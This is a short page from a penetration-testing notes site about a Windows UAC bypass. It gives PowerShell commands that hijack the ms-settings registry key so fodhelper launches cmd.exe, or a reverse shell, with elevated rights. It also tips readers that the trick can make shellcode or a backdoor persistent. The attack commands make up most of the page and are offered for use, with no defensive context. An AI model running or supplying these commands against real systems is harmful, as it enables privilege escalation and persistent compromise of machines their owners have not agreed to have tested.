> For the complete documentation index, see [llms.txt](https://gitbook.seguranca-informatica.pt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.seguranca-informatica.pt/privilege-escalation-privesc/uac-bypass.md).

# UAC bypass

## UAC bypass in 2 lines

```
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
cmd -> fodhelper

Spaw anything:
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value 'your-reverse-shell' -Force
```

![](/files/-MYEYNUh90RgzzWSrPky)

**Hint:** You can use this to make your shellcode/backdoor persistent! :sunglasses: 

{% embed url="<https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/>" %}

{% embed url="<https://www.puckiestyle.nl/uac/>" %}